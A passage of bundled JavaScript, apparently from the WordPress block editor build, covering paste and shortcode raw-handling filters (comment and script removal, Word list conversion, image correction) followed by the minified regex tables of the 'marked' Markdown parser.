        wrapFigureContent(nodeToInsert, wrapper);
      }
    } else {
      wrapFigureContent(nodeToInsert);
    }
  }

  // packages/blocks/build-module/api/raw-handling/shortcode-converter.mjs
  var import_shortcode = __toESM(require_shortcode(), 1);
  var castArray = (maybeArray) =&gt; Array.isArray(maybeArray) ? maybeArray : [maybeArray];
  var beforeLineRegexp = /(\n|&lt;p&gt;|&lt;br\s*\/?&gt;)\s*$/;
  var afterLineRegexp = /^\s*(\n|&lt;\/p&gt;|&lt;br\s*\/?&gt;)/;
  function segmentHTMLToShortcodeBlock(HTML, lastIndex = 0, excludedBlockNames = []) {
    const transformsFrom = getBlockTransforms(
      &quot;from&quot;
    );
    const transformation = findTransform(
      transformsFrom,
      ((transform) =&gt; {
        const t3 = transform;
        return excludedBlockNames.indexOf(t3.blockName) === -1 &amp;&amp; t3.type === &quot;shortcode&quot; &amp;&amp; castArray(t3.tag).some(
          (tag) =&gt; (0, import_shortcode.regexp)(tag).test(HTML)
        );
      })
    );
    if (!transformation) {
      return [HTML];
    }
    const transformTags = castArray(transformation.tag);
    const transformTag = transformTags.find(
      (tag) =&gt; (0, import_shortcode.regexp)(tag).test(HTML)
    );
    let match;
    const previousIndex = lastIndex;
    if (match = (0, import_shortcode.next)(transformTag, HTML, lastIndex)) {
      lastIndex = match.index + match.content.length;
      const beforeHTML = HTML.substr(0, match.index);
      const afterHTML = HTML.substr(lastIndex);
      if (!match.shortcode.content?.includes(&quot;&lt;&quot;) &amp;&amp; !(beforeLineRegexp.test(beforeHTML) &amp;&amp; afterLineRegexp.test(afterHTML))) {
        return segmentHTMLToShortcodeBlock(HTML, lastIndex);
      }
      if (transformation.isMatch &amp;&amp; !transformation.isMatch(match.shortcode.attrs)) {
        return segmentHTMLToShortcodeBlock(HTML, previousIndex, [
          ...excludedBlockNames,
          transformation.blockName
        ]);
      }
      let blocks = [];
      if (typeof transformation.transform === &quot;function&quot;) {
        blocks = [].concat(
          transformation.transform(match.shortcode.attrs, match)
        );
        blocks = blocks.map((block) =&gt; {
          block.originalContent = match.shortcode.content;
          return applyBuiltInValidationFixes(
            block,
            getBlockType(block.name)
          );
        });
      } else {
        const attributes = Object.fromEntries(
          Object.entries(transformation.attributes).filter(([, schema]) =&gt; schema.shortcode).map(([key, schema]) =&gt; [
            key,
            schema.shortcode(match.shortcode.attrs, match)
          ])
        );
        const blockType = getBlockType(transformation.blockName);
        if (!blockType) {
          return [HTML];
        }
        const transformationBlockType = {
          ...blockType,
          attributes: transformation.attributes
        };
        let block = createBlock(
          transformation.blockName,
          getBlockAttributes(
            transformationBlockType,
            match.shortcode.content,
            attributes
          )
        );
        block.originalContent = match.shortcode.content;
        block = applyBuiltInValidationFixes(
          block,
          transformationBlockType
        );
        blocks = [block];
      }
      return [
        ...segmentHTMLToShortcodeBlock(
          beforeHTML.replace(beforeLineRegexp, &quot;&quot;)
        ),
        ...blocks,
        ...segmentHTMLToShortcodeBlock(
          afterHTML.replace(afterLineRegexp, &quot;&quot;)
        )
      ];
    }
    return [HTML];
  }
  var shortcode_converter_default = segmentHTMLToShortcodeBlock;

  // packages/blocks/build-module/api/raw-handling/utils.mjs
  var import_dom6 = __toESM(require_dom(), 1);
  function getBlockContentSchemaFromTransforms(transforms, context) {
    const phrasingContentSchema = (0, import_dom6.getPhrasingContentSchema)(context);
    const schemaArgs = { phrasingContentSchema, isPaste: context === &quot;paste&quot; };
    const schemas = transforms.map(({ isMatch, blockName, schema }) =&gt; {
      const hasAnchorSupport = hasBlockSupport(blockName, &quot;anchor&quot;);
      schema = typeof schema === &quot;function&quot; ? schema(schemaArgs) : schema;
      if (!hasAnchorSupport &amp;&amp; !isMatch) {
        return schema;
      }
      if (!schema) {
        return {};
      }
      return Object.fromEntries(
        Object.entries(schema).map(([key, value]) =&gt; {
          let attributes = value.attributes || [];
          if (hasAnchorSupport) {
            attributes = [...attributes, &quot;id&quot;];
          }
          return [
            key,
            {
              ...value,
              attributes,
              isMatch: isMatch ? isMatch : void 0
            }
          ];
        })
      );
    });
    function mergeTagNameSchemaProperties(objValue, srcValue, key) {
      switch (key) {
        case &quot;children&quot;: {
          if (objValue === &quot;*&quot; || srcValue === &quot;*&quot;) {
            return &quot;*&quot;;
          }
          return mergeSchemas(
            { ...objValue || {} },
            srcValue || {}
          );
        }
        case &quot;attributes&quot;:
        case &quot;require&quot;: {
          return Array.from(
            /* @__PURE__ */ new Set([...objValue || [], ...srcValue || []])
          );
        }
        case &quot;isMatch&quot;: {
          if (!objValue || !srcValue) {
            return void 0;
          }
          return (...args) =&gt; {
            return objValue(...args) || srcValue(...args);
          };
        }
        case &quot;classes&quot;: {
          if ((objValue || []).includes(&quot;*&quot;) || (srcValue || []).includes(&quot;*&quot;)) {
            return [&quot;*&quot;];
          }
          return [...objValue || [], ...srcValue || []];
        }
      }
    }
    function mergeTagNameSchemas(a2, b3) {
      if (a2 === b3) {
        return a2;
      }
      for (const key in b3) {
        if (a2[key]) {
          a2[key] = mergeTagNameSchemaProperties(
            a2[key],
            b3[key],
            key
          );
        } else if (Array.isArray(b3[key])) {
          a2[key] = b3[key].slice();
        } else {
          a2[key] = { ...b3[key] };
        }
      }
      return a2;
    }
    function mergeSchemas(a2, b3) {
      if (a2 === b3) {
        return a2;
      }
      for (const key in b3) {
        if (a2[key]) {
          a2[key] = mergeTagNameSchemas(a2[key], b3[key]);
        } else if (Array.isArray(b3[key])) {
          a2[key] = b3[key].slice();
        } else {
          a2[key] = { ...b3[key] };
        }
      }
      return a2;
    }
    return schemas.reduce(mergeSchemas, {});
  }
  function getBlockContentSchema(context) {
    return getBlockContentSchemaFromTransforms(getRawTransforms(), context);
  }
  function isPlain(HTML) {
    if (!/&lt;(?!br[ /&gt;])/i.test(HTML)) {
      return true;
    }
    const doc = document.implementation.createHTMLDocument(&quot;&quot;);
    doc.body.innerHTML = HTML;
    if (doc.body.children.length !== 1) {
      return false;
    }
    const wrapper = doc.body.children.item(0);
    const descendants = wrapper.getElementsByTagName(&quot;*&quot;);
    for (let i2 = 0; i2 &lt; descendants.length; i2++) {
      if (descendants.item(i2).tagName !== &quot;BR&quot;) {
        return false;
      }
    }
    if (wrapper.tagName !== &quot;SPAN&quot;) {
      return false;
    }
    return true;
  }
  function deepFilterNodeList(nodeList, filters, doc, schema) {
    Array.from(nodeList).forEach((node) =&gt; {
      deepFilterNodeList(node.childNodes, filters, doc, schema);
      filters.forEach((item) =&gt; {
        if (!doc.contains(node)) {
          return;
        }
        item(node, doc, schema);
      });
    });
  }
  function deepFilterHTML(HTML, filters = [], schema) {
    const doc = document.implementation.createHTMLDocument(&quot;&quot;);
    doc.body.innerHTML = HTML;
    deepFilterNodeList(doc.body.childNodes, filters, doc, schema);
    return doc.body.innerHTML;
  }
  function getSibling(node, which) {
    const sibling = node[`${which}Sibling`];
    if (sibling &amp;&amp; (0, import_dom6.isPhrasingContent)(sibling)) {
      return sibling;
    }
    const { parentNode } = node;
    if (!parentNode || !(0, import_dom6.isPhrasingContent)(parentNode)) {
      return;
    }
    return getSibling(parentNode, which);
  }

  // packages/blocks/build-module/api/raw-handling/paste-handler.mjs
  var import_dom12 = __toESM(require_dom(), 1);

  // packages/blocks/build-module/api/raw-handling/comment-remover.mjs
  var import_dom7 = __toESM(require_dom(), 1);
  function commentRemover(node) {
    if (node.nodeType === node.COMMENT_NODE) {
      (0, import_dom7.remove)(node);
    }
  }

  // packages/blocks/build-module/api/raw-handling/is-inline-content.mjs
  var import_dom8 = __toESM(require_dom(), 1);
  function isInline(node, contextTag) {
    if ((0, import_dom8.isTextContent)(node)) {
      return true;
    }
    if (!contextTag) {
      return false;
    }
    const tag = node.nodeName.toLowerCase();
    const inlineAllowedTagGroups = [
      [&quot;ul&quot;, &quot;li&quot;, &quot;ol&quot;],
      [&quot;h1&quot;, &quot;h2&quot;, &quot;h3&quot;, &quot;h4&quot;, &quot;h5&quot;, &quot;h6&quot;]
    ];
    return inlineAllowedTagGroups.some(
      (tagGroup) =&gt; [tag, contextTag].filter((t3) =&gt; !tagGroup.includes(t3)).length === 0
    );
  }
  function deepCheck(nodes, contextTag) {
    return nodes.every(
      (node) =&gt; isInline(node, contextTag) &amp;&amp; deepCheck(Array.from(node.children), contextTag)
    );
  }
  function isDoubleBR(node) {
    return node.nodeName === &quot;BR&quot; &amp;&amp; !!node.previousSibling &amp;&amp; node.previousSibling.nodeName === &quot;BR&quot;;
  }
  function isInlineContent(HTML, contextTag) {
    const doc = document.implementation.createHTMLDocument(&quot;&quot;);
    doc.body.innerHTML = HTML;
    const nodes = Array.from(doc.body.children);
    return !nodes.some(isDoubleBR) &amp;&amp; deepCheck(nodes, contextTag);
  }

  // packages/blocks/build-module/api/raw-handling/phrasing-content-reducer.mjs
  var import_dom9 = __toESM(require_dom(), 1);
  function phrasingContentReducer(node, doc) {
    if (node.nodeName === &quot;SPAN&quot; &amp;&amp; node.style) {
      const {
        fontWeight,
        fontStyle,
        textDecorationLine,
        textDecoration,
        verticalAlign
      } = node.style;
      const element = node;
      if (fontWeight === &quot;bold&quot; || fontWeight === &quot;700&quot;) {
        (0, import_dom9.wrap)(doc.createElement(&quot;strong&quot;), element);
      }
      if (fontStyle === &quot;italic&quot;) {
        (0, import_dom9.wrap)(doc.createElement(&quot;em&quot;), element);
      }
      if (textDecorationLine === &quot;line-through&quot; || textDecoration.includes(&quot;line-through&quot;)) {
        (0, import_dom9.wrap)(doc.createElement(&quot;s&quot;), element);
      }
      if (verticalAlign === &quot;super&quot;) {
        (0, import_dom9.wrap)(doc.createElement(&quot;sup&quot;), element);
      } else if (verticalAlign === &quot;sub&quot;) {
        (0, import_dom9.wrap)(doc.createElement(&quot;sub&quot;), element);
      }
    } else if (node.nodeName === &quot;B&quot;) {
      (0, import_dom9.replaceTag)(node, &quot;strong&quot;);
    } else if (node.nodeName === &quot;I&quot;) {
      (0, import_dom9.replaceTag)(node, &quot;em&quot;);
    } else if (node.nodeName === &quot;A&quot;) {
      const anchor = node;
      if (anchor.target &amp;&amp; anchor.target.toLowerCase() === &quot;_blank&quot;) {
        anchor.rel = &quot;noopener&quot;;
      } else {
        anchor.removeAttribute(&quot;target&quot;);
        anchor.removeAttribute(&quot;rel&quot;);
      }
      if (anchor.name &amp;&amp; !anchor.id) {
        anchor.id = anchor.name;
      }
      if (anchor.id &amp;&amp; !anchor.ownerDocument.querySelector(`[href=&quot;#${anchor.id}&quot;]`)) {
        anchor.removeAttribute(&quot;id&quot;);
      }
    }
  }

  // packages/blocks/build-module/api/raw-handling/head-remover.mjs
  function headRemover(node) {
    if (node.nodeName !== &quot;SCRIPT&quot; &amp;&amp; node.nodeName !== &quot;NOSCRIPT&quot; &amp;&amp; node.nodeName !== &quot;TEMPLATE&quot; &amp;&amp; node.nodeName !== &quot;STYLE&quot;) {
      return;
    }
    node.parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/ms-list-ignore.mjs
  function msListIgnore(node) {
    if (node.nodeType !== node.ELEMENT_NODE) {
      return;
    }
    const el = node;
    const style = el.getAttribute(&quot;style&quot;);
    if (!style || !style.includes(&quot;mso-list&quot;)) {
      return;
    }
    const rules = style.split(&quot;;&quot;).reduce(
      (acc, rule) =&gt; {
        const [key, value] = rule.split(&quot;:&quot;);
        if (key &amp;&amp; value) {
          acc[key.trim().toLowerCase()] = value.trim().toLowerCase();
        }
        return acc;
      },
      {}
    );
    if (rules[&quot;mso-list&quot;] === &quot;ignore&quot;) {
      el.remove();
    }
  }

  // packages/blocks/build-module/api/raw-handling/ms-list-converter.mjs
  function isList2(node) {
    return node.nodeName === &quot;OL&quot; || node.nodeName === &quot;UL&quot;;
  }
  function msListConverter(node, doc) {
    if (node.nodeName !== &quot;P&quot;) {
      return;
    }
    const element = node;
    const style = element.getAttribute(&quot;style&quot;);
    if (!style || !style.includes(&quot;mso-list&quot;)) {
      return;
    }
    const prevNode = element.previousElementSibling;
    if (!prevNode || !isList2(prevNode)) {
      const type = element.textContent.trim().slice(0, 1);
      const isNumeric = /[1iIaA]/.test(type);
      const newListNode = doc.createElement(isNumeric ? &quot;ol&quot; : &quot;ul&quot;);
      if (isNumeric) {
        newListNode.setAttribute(&quot;type&quot;, type);
      }
      element.parentNode.insertBefore(newListNode, element);
    }
    const listNode = element.previousElementSibling;
    const listType = listNode.nodeName;
    const listItem = doc.createElement(&quot;li&quot;);
    let receivingNode = listNode;
    listItem.innerHTML = deepFilterHTML(element.innerHTML, [msListIgnore]);
    const matches = /mso-list\s*:[^;]+level([0-9]+)/i.exec(style);
    let level = matches ? parseInt(matches[1], 10) - 1 || 0 : 0;
    while (level--) {
      receivingNode = receivingNode.lastChild || receivingNode;
      if (isList2(receivingNode)) {
        receivingNode = receivingNode.lastChild || receivingNode;
      }
    }
    if (!isList2(receivingNode)) {
      receivingNode = receivingNode.appendChild(
        doc.createElement(listType)
      );
    }
    receivingNode.appendChild(listItem);
    element.parentNode.removeChild(element);
  }

  // packages/blocks/build-module/api/raw-handling/image-corrector.mjs
  var import_blob = __toESM(require_blob(), 1);
  function imageCorrector(img) {
    if (img.nodeName !== &quot;IMG&quot;) {
      return;
    }
    const node = img;
    if (node.src.indexOf(&quot;file:&quot;) === 0) {
      node.src = &quot;&quot;;
    }
    if (node.src.indexOf(&quot;data:&quot;) === 0) {
      const [properties, data] = node.src.split(&quot;,&quot;);
      const [type] = properties.slice(5).split(&quot;;&quot;);
      if (!data || !type) {
        node.src = &quot;&quot;;
        return;
      }
      let decoded;
      try {
        decoded = atob(data);
      } catch {
        node.src = &quot;&quot;;
        return;
      }
      const uint8Array = new Uint8Array(decoded.length);
      for (let i2 = 0; i2 &lt; uint8Array.length; i2++) {
        uint8Array[i2] = decoded.charCodeAt(i2);
      }
      const name = type.replace(&quot;/&quot;, &quot;.&quot;);
      const file = new window.File([uint8Array], name, { type });
      node.src = (0, import_blob.createBlobURL)(file);
    }
    if (node.height === 1 || node.width === 1) {
      node.parentNode.removeChild(node);
    }
  }

  // packages/blocks/build-module/api/raw-handling/div-normaliser.mjs
  function divNormaliser(div) {
    if (div.nodeName !== &quot;DIV&quot;) {
      return;
    }
    const node = div;
    node.innerHTML = normaliseBlocks(node.innerHTML);
  }

  // node_modules/marked/lib/marked.esm.js
  function z() {
    return { async: false, breaks: false, extensions: null, gfm: true, hooks: null, pedantic: false, renderer: null, silent: false, tokenizer: null, walkTokens: null };
  }
  var T = z();
  function G(l4) {
    T = l4;
  }
  var _ = { exec: () =&gt; null };
  function d2(l4, e2 = &quot;&quot;) {
    let t3 = typeof l4 == &quot;string&quot; ? l4 : l4.source, n2 = { replace: (s2, r2) =&gt; {
      let i2 = typeof r2 == &quot;string&quot; ? r2 : r2.source;
      return i2 = i2.replace(m2.caret, &quot;$1&quot;), t3 = t3.replace(s2, i2), n2;
    }, getRegex: () =&gt; new RegExp(t3, e2) };
    return n2;
  }
  var Re = ((l4 = &quot;&quot;) =&gt; {
    try {
      return !!new RegExp(&quot;(?&lt;=1)(?&lt;!1)&quot; + l4);
    } catch {
      return false;
    }
  })();
  var m2 = { codeRemoveIndent: /^(?: {1,4}| {0,3}\t)/gm, outputLinkReplace: /\\([\[\]])/g, indentCodeCompensation: /^(\s+)(?:```)/, beginningSpace: /^\s+/, endingHash: /#$/, startingSpaceChar: /^ /, endingSpaceChar: / $/, nonSpaceChar: /[^ ]/, newLineCharGlobal: /\n/g, tabCharGlobal: /\t/g, multipleSpaceGlobal: /\s+/g, blankLine: /^[ \t]*$/, doubleBlankLine: /\n[ \t]*\n[ \t]*$/, blockquoteStart: /^ {0,3}&gt;/, blockquoteSetextReplace: /\n {0,3}((?:=+|-+) *)(?=\n|$)/g, blockquoteSetextReplace2: /^ {0,3}&gt;[ \t]?/gm, listReplaceNesting: /^ {1,4}(?=( {4})*[^ ])/g, listIsTask: /^\[[ xX]\] +\S/, listReplaceTask: /^\[[ xX]\] +/, listTaskCheckbox: /\[[ xX]\]/, anyLine: /\n.*\n/, hrefBrackets: /^&lt;(.*)&gt;$/, tableDelimiter: /[:|]/, tableAlignChars: /^\||\| *$/g, tableRowBlankLine: /\n[ \t]*$/, tableAlignRight: /^ *-+: *$/, tableAlignCenter: /^ *:-+: *$/, tableAlignLeft: /^ *:-+ *$/, startATag: /^&lt;a /i, endATag: /^&lt;\/a&gt;/i, startPreScriptTag: /^&lt;(pre|code|kbd|script)(\s|&gt;)/i, endPreScriptTag: /^&lt;\/(pre|code|kbd|script)(\s|&gt;)/i, startAngleBracket: /^&lt;/, endAngleBracket: /&gt;$/, pedanticHrefTitle: /^([^&#039;&quot;]*[^\s])\s+([&#039;&quot;])(.*)\2/, unicodeAlphaNumeric: /[\p{L}\p{N}]/u, escapeTest: /[&amp;&lt;&gt;&quot;&#039;]/, escapeReplace: /[&amp;&lt;&gt;&quot;&#039;]/g, escapeTestNoEncode: /[&lt;&gt;&quot;&#039;]|&amp;(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/, escapeReplaceNoEncode: /[&lt;&gt;&quot;&#039;]|&amp;(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/g, caret: /(^|[^\[])\^/g, percentDecode: /%25/g, findPipe: /\|/g, splitPipe: / \|/, slashPipe: /\\\|/g, carriageReturn: /\r\n|\r/g, spaceLine: /^ +$/gm, notSpaceStart: /^\S*/, endingNewline: /\n$/, listItemRegex: (l4) =&gt; new RegExp(`^( {0,3}${l4})((?:[	 ][^\\n]*)?(?:\\n|$))`), nextBulletRegex: (l4) =&gt; new RegExp(`^ {0,${Math.min(3, l4 - 1)}}(?:[*+-]|\\d{1,9}[.)])((?:[ 	][^\\n]*)?(?:\\n|$))`), hrRegex: (l4) =&gt; new RegExp(`^ {0,${Math.min(3, l4 - 1)}}((?:- *){3,}|(?:_ *){3,}|(?:\\* *){3,})(?:\\n+|$)`), fencesBeginRegex: (l4) =&gt; new RegExp(`^ {0,${Math.min(3, l4 - 1)}}(?:\`\`\`|~~~)`), headingBeginRegex: (l4) =&gt; new RegExp(`^ {0,${Math.min(3, l4 - 1)}}#`), htmlBeginRegex: (l4) =&gt; new RegExp(`^ {0,${Math.min(3, l4 - 1)}}&lt;(?:[a-z].*&gt;|!--)`, &quot;i&quot;), blockquoteBeginRegex: (l4) =&gt; new RegExp(`^ {0,${Math.min(3, l4 - 1)}}&gt;`) };
  var Te = /^(?:[ \t]*(?:\n|$))+/;
  var Oe = /^((?: {4}| {0,3}\t)[^\n]+(?:\n(?:[ \t]*(?:\n|$))*)?)+/;
  var we = /^ {0,3}(`{3,}(?=[^`\n]*(?:\n|$))|~{3,})([^\n]*)(?:\n|$)(?:|([\s\S]*?)(?:\n|$))(?: {0,3}\1[~`]* *(?=\n|$)|$)/;
  var I = /^ {0,3}((?:-[\t ]*){3,}|(?:_[ \t]*){3,}|(?:\*[ \t]*){3,})(?:\n+|$)/;
  var ye = /^ {0,3}(#{1,6})(?=\s|$)(.*)(?:\n+|$)/;
  var Q = / {0,3}(?:[*+-]|\d{1,9}[.)])/;
  var ie = /^(?!bull |blockCode|fences|blockquote|heading|html|table)((?:.|\n(?!\s*?\n|bull |blockCode|fences|blockquote|heading|html|table))+?)\n {0,3}(=+|-+) *(?:\n+|$)/;
  var oe = d2(ie).replace(/bull/g, Q).replace(/blockCode/g, /(?: {4}| {0,3}\t)/).replace(/fences/g, / {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g, / {0,3}&gt;/).replace(/heading/g, / {0,3}#{1,6}/).replace(/html/g, / {0,3}&lt;[^\n&gt;]+&gt;\n/).replace(/\|table/g, &quot;&quot;).getRegex();
  var Pe = d2(ie).replace(/bull/g, Q).replace(/blockCode/g, /(?: {4}| {0,3}\t)/).replace(/fences/g, / {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g, / {0,3}&gt;/).replace(/heading/g, / {0,3}#{1,6}/).replace(/html/g, / {0,3}&lt;[^\n&gt;]+&gt;\n/).replace(/table/g, / {0,3}\|?(?:[:\- ]*\|)+[\:\- ]*\n/).getRegex();
  var j2 = /^([^\n]+(?:\n(?!hr|heading|lheading|blockquote|fences|list|html|table| +\n)[^\n]+)*)/;
  var Se = /^[^\n]+/;
  var F = /(?!\s*\])(?:\\[\s\S]|[^\[\]\\])+/;
  var $e = d2(/^ {0,3}\[(label)\]: *(?:\n[ \t]*)?([^&lt;\s][^\s]*|&lt;.*?&gt;)(?:(?: +(?:\n[ \t]*)?| *\n[ \t]*)(title))? *(?:\n+|$)/).replace(&quot;label&quot;, F).replace(&quot;title&quot;, /(?:&quot;(?:\\&quot;?|[^&quot;\\])*&quot;|&#039;[^&#039;\n]*(?:\n[^&#039;\n]+)*\n?&#039;|\([^()]*\))/).getRegex();
  var Le = d2(/^(bull)([ \t][^\n]+?)?(?:\n|$)/).replace(/bull/g, Q).getRegex();
  var v2 = &quot;address|article|aside|base|basefont|blockquote|body|caption|center|col|colgroup|dd|details|dialog|dir|div|dl|dt|fieldset|figcaption|figure|footer|form|frame|frameset|h[1-6]|head|header|hr|html|iframe|legend|li|link|main|menu|menuitem|meta|nav|noframes|ol|optgroup|option|p|param|search|section|summary|table|tbody|td|tfoot|th|thead|title|tr|track|ul&quot;;
  var U = /&lt;!--(?:-?&gt;|[\s\S]*?(?:--&gt;|$))/;
  var _e = d2(&quot;^ {0,3}(?:&lt;(script|pre|style|textarea)[\\s&gt;][\\s\\S]*?(?:&lt;/\\1&gt;[^\\n]*\\n+|$)|comment[^\\n]*(\\n+|$)|&lt;\\?[\\s\\S]*?(?:\\?&gt;\\n*|$)|&lt;![A-Z][\\s\\S]*?(?:&gt;\\n*|$)|&lt;!\\[CDATA\\[[\\s\\S]*?(?:\\]\\]&gt;\\n*|$)|&lt;/?(tag)(?: +|\\n|/?&gt;)[\\s\\S]*?(?:(?:\\n[ 	]*)+\\n|$)|&lt;(?!script|pre|style|textarea)([a-z][\\w-]*)(?:attribute)*? */?&gt;(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ 	]*)+\\n|$)|&lt;/(?!script|pre|style|textarea)[a-z][\\w-]*\\s*&gt;(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ 	]*)+\\n|$))&quot;, &quot;i&quot;).replace(&quot;comment&quot;, U).replace(&quot;tag&quot;, v2).replace(&quot;attribute&quot;, / +[a-zA-Z:_][\w.:-]*(?: *= *&quot;[^&quot;\n]*&quot;| *= *&#039;[^&#039;\n]*&#039;| *= *[^\s&quot;&#039;=&lt;&gt;`]+)?/).getRegex();
  var ae = d2(j2).replace(&quot;hr&quot;, I).replace(&quot;heading&quot;, &quot; {0,3}#{1,6}(?:\\s|$)&quot;).replace(&quot;|lheading&quot;, &quot;&quot;).replace(&quot;|table&quot;, &quot;&quot;).replace(&quot;blockquote&quot;, &quot; {0,3}&gt;&quot;).replace(&quot;fences&quot;, &quot; {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n&quot;).replace(&quot;list&quot;, &quot; {0,3}(?:[*+-]|1[.)])[ \\t]&quot;).replace(&quot;html&quot;, &quot;&lt;/?(?:tag)(?: +|\\n|/?&gt;)|&lt;(?:script|pre|style|textarea|!--)&quot;).replace(&quot;tag&quot;, v2).getRegex();
  var Me = d2(/^( {0,3}&gt; ?(paragraph|[^\n]*)(?:\n|$))+/).replace(&quot;paragraph&quot;, ae).getRegex();
  var K = { blockquote: Me, code: Oe, def: $e, fences: we, heading: ye, hr: I, html: _e, lheading: oe, list: Le, newline: Te, paragraph: ae, table: _, text: Se };
  var re = d2(&quot;^ *([^\\n ].*)\\n {0,3}((?:\\| *)?:?-+:? *(?:\\| *:?-+:? *)*(?:\\| *)?)(?:\\n((?:(?! *\\n|hr|heading|blockquote|code|fences|list|html).*(?:\\n|$))*)\\n*|$)&quot;).replace(&quot;hr&quot;, I).replace(&quot;heading&quot;, &quot; {0,3}#{1,6}(?:\\s|$)&quot;).replace(&quot;blockquote&quot;, &quot; {0,3}&gt;&quot;).replace(&quot;code&quot;, &quot;(?: {4}| {0,3}	)[^\\n]&quot;).replace(&quot;fences&quot;, &quot; {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n&quot;).replace(&quot;list&quot;, &quot; {0,3}(?:[*+-]|1[.)])[ \\t]&quot;).replace(&quot;html&quot;, &quot;&lt;/?(?:tag)(?: +|\\n|/?&gt;)|&lt;(?:script|pre|style|textarea|!--)&quot;).replace(&quot;tag&quot;, v2).getRegex();
  var ze = { ...K, lheading: Pe, table: re, paragraph: d2(j2).replace(&quot;hr&quot;, I).replace(&quot;heading&quot;, &quot; {0,3}#{1,6}(?:\\s|$)&quot;).replace(&quot;|lheading&quot;, &quot;&quot;).replace(&quot;table&quot;, re).replace(&quot;blockquote&quot;, &quot; {0,3}&gt;&quot;).replace(&quot;fences&quot;, &quot; {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n&quot;).replace(&quot;list&quot;, &quot; {0,3}(?:[*+-]|1[.)])[ \\t]&quot;).replace(&quot;html&quot;, &quot;&lt;/?(?:tag)(?: +|\\n|/?&gt;)|&lt;(?:script|pre|style|textarea|!--)&quot;).replace(&quot;tag&quot;, v2).getRegex() };
  var Ee = { ...K, html: d2(`^ *(?:comment *(?:\\n|\\s*$)|&lt;(tag)[\\s\\S]+?&lt;/\\1&gt; *(?:\\n{2,}|\\s*$)|&lt;tag(?:&quot;[^&quot;]*&quot;|&#039;[^&#039;]*&#039;|\\s[^&#039;&quot;/&gt;\\s]*)*?/?&gt; *(?:\\n{2,}|\\s*$))`).replace(&quot;comment&quot;, U).replace(/tag/g, &quot;(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:|[^\\w\\s@]*@)\\b&quot;).getRegex(), def: /^ *\[([^\]]+)\]: *&lt;?([^\s&gt;]+)&gt;?(?: +([&quot;(][^\n]+[&quot;)]))? *(?:\n+|$)/, heading: /^(#{1,6})(.*)(?:\n+|$)/, fences: _, lheading: /^(.+?)\n {0,3}(=+|-+) *(?:\n+|$)/, paragraph: d2(j2).replace(&quot;hr&quot;, I).replace(&quot;heading&quot;, ` *#{1,6} *[^
]`).replace(&quot;lheading&quot;, oe).replace(&quot;|table&quot;, &quot;&quot;).replace(&quot;blockquote&quot;, &quot; {0,3}&gt;&quot;).replace(&quot;|fences&quot;, &quot;&quot;).replace(&quot;|list&quot;, &quot;&quot;).replace(&quot;|html&quot;, &quot;&quot;).replace(&quot;|tag&quot;, &quot;&quot;).getRegex() };
  var Ae = /^\\([!&quot;#$%&amp;&#039;()*+,\-./:;&lt;=&gt;?@\[\]\\^_`{|}~])/;
  var Ce = /^(`+)([^`]|[^`][\s\S]*?[^`])\1(?!`)/;
  var le = /^( {2,}|\\)\n(?!\s*$)/;
  var Ie = /^(`+|[^`])(?:(?= {2,}\n)|[\s\S]*?(?:(?=[\\&lt;!\[`*_]|\b_|$)|[^ ](?= {2,}\n)))/;
  var E = /[\p{P}\p{S}]/u;
  var H2 = /[\s\p{P}\p{S}]/u;
  var W = /[^\s\p{P}\p{S}]/u;
  var Be = d2(/^((?![*_])punctSpace)/, &quot;u&quot;).replace(/punctSpace/g, H2).getRegex();
  var ue = /(?!~)[\p{P}\p{S}]/u;
  var De = /(?!~)[\s\p{P}\p{S}]/u;
  var qe = /(?:[^\s\p{P}\p{S}]|~)/u;
  var ve = d2(/link|precode-code|html/, &quot;g&quot;).replace(&quot;link&quot;, /\[(?:[^\[\]`]|(?&lt;a&gt;`+)[^`]+\k&lt;a&gt;(?!`))*?\]\((?:\\[\s\S]|[^\\\(\)]|\((?:\\[\s\S]|[^\\\(\)])*\))*\)/).replace(&quot;precode-&quot;, Re ? &quot;(?&lt;!`)()&quot; : &quot;(^^|[^`])&quot;).replace(&quot;code&quot;, /(?&lt;b&gt;`+)[^`]+\k&lt;b&gt;(?!`)/).replace(&quot;html&quot;, /&lt;(?! )[^&lt;&gt;]*?&gt;/).getRegex();
  var pe = /^(?:\*+(?:((?!\*)punct)|([^\s*]))?)|^_+(?:((?!_)punct)|([^\s_]))?/;
  var He = d2(pe, &quot;u&quot;).replace(/punct/g, E).getRegex();
  var Ze = d2(pe, &quot;u&quot;).replace(/punct/g, ue).getRegex();
  var ce = &quot;^[^_*]*?__[^_*]*?\\*[^_*]*?(?=__)|[^*]+(?=[^*])|(?!\\*)punct(\\*+)(?=[\\s]|$)|notPunctSpace(\\*+)(?!\\*)(?=punctSpace|$)|(?!\\*)punctSpace(\\*+)(?=notPunctSpace)|[\\s](\\*+)(?!\\*)(?=punct)|(?!\\*)punct(\\*+)(?!\\*)(?=punct)|notPunctSpace(\\*+)(?=notPunctSpace)&quot;;
  var Ge = d2(ce, &quot;gu&quot;).replace(/notPunctSpace/g, W).replace(/punctSpace/g, H2).replace(/punct/g, E).getRegex();
  var Ne = d2(ce, &quot;gu&quot;).replace(/notPunctSpace/g, qe).replace(/punctSpace/g, De).replace(/punct/g, ue).getRegex();
  var Qe = d2(&quot;^[^_*]*?\\*\\*[^_*]*?_[^_*]*?(?=\\*\\*)|[^_]+(?=[^_])|(?!_)punct(_+)(?=[\\s]|$)|notPunctSpace(_+)(?!_)(?=punctSpace|$)|(?!_)punctSpace(_+)(?=notPunctSpace)|[\\s](_+)(?!_)(?=punct)|(?!_)punct(_+)(?!_)(?=punct)&quot;, &quot;gu&quot;).replace(/notPunctSpace/g, W).replace(/punctSpace/g, H2).replace(/punct/g, E).getRegex();
